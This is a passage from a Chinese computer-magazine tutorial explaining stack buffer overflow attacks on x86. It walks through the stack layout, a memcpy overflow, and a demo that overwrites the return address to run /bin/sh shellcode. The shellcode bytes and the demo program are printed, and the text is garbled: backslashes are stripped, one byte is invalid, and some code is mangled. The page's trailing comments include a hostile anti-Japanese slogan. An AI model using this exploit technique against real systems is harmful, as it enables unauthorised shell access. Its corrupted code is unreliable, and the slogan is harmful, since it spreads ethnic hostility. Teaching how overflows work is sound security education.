对C语言来说,调用函数的语句f(arg1,arg2,…,argn)被翻译为如下指令:push argn…….push arg1push ncall f而函数的入口则翻译为如下入口指令(在Intel X86上)pushl ebpmov esp,ebpsub esp,m #m为f的局部变量的空间大小在Intel X86体系结构上,堆栈是从上向下生长的,因此调用以上函数时的堆栈结构如图1所示:
arg1……argnn返回地址ebp局部变量
高地址低地址
图1 堆栈例如,调用以下函数时Void f(char *src){ char dest[4]; memcpy(dest, src,12);}堆栈及变量的位置如图2所示:
srcl返回地址ebpdest[3]dest[2]dest[1]dest[0]
高地址低地址图2 堆栈及位置的变量图从堆栈结构可以看到,当用精心准备好的地址改写返回地址时,即可把控制流程引向自己的代码。C2级操作系统提供了进程空间的隔离机制,因此,利用缓冲区溢出攻击可以在别的进程上下文中执行自己的代码,从而绕过操作系统的安全机制,下面是一个例子:Void main(){ char *str[2]={”/bin/sh”,0}; exec (“/bin/sh”,str,0);}编译后反编译,并加以整理,得到与以上程序等价的机器码:“xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00”
“x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”
“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”
“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3”
事例程序如下:
/ test /
char shellcode[]=
{“xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00”
“x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”
“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”
“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3”};
void f(char *src)
{
char dest[4];
memcpy(dest,src,12);
}
void main()
{
int shellentry[3];
shellentry[0]=(int)shellcode;
shellentry[1]=(int)shellcode;
shellentry[2]=(int)shellcode;
f(shellentry);
}
由以上程序可以看出缓冲区溢出攻击的关键:因为memcpy并不检验边界,所以dest溢出时,使shellcode的地址覆盖了子程序的返回地址,当子程序执行ret指令时,CPU的指令指针寄存器EIP指向shellcode,从而执行shellcode。
这里讨论一个现实中的Unix环境下,利用缓冲区溢出的到一个Shell的行攻击方法的实现。其中,S代表Shellcode,A代表填写的返回地址,由于Shellcode在虚地址的高端,所以这个返回地址(32bit)一般不会含有零字节:
(1) 启动一个一个Shell的代码——Shellcode的获得
通常的获得方法是先用高级语言编写同样功能的程序,然后用调试工具抽取必须的二进制代码。高级语言程序如下:
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-30355-3.html
狠狠的干小日本
百万雄师过大海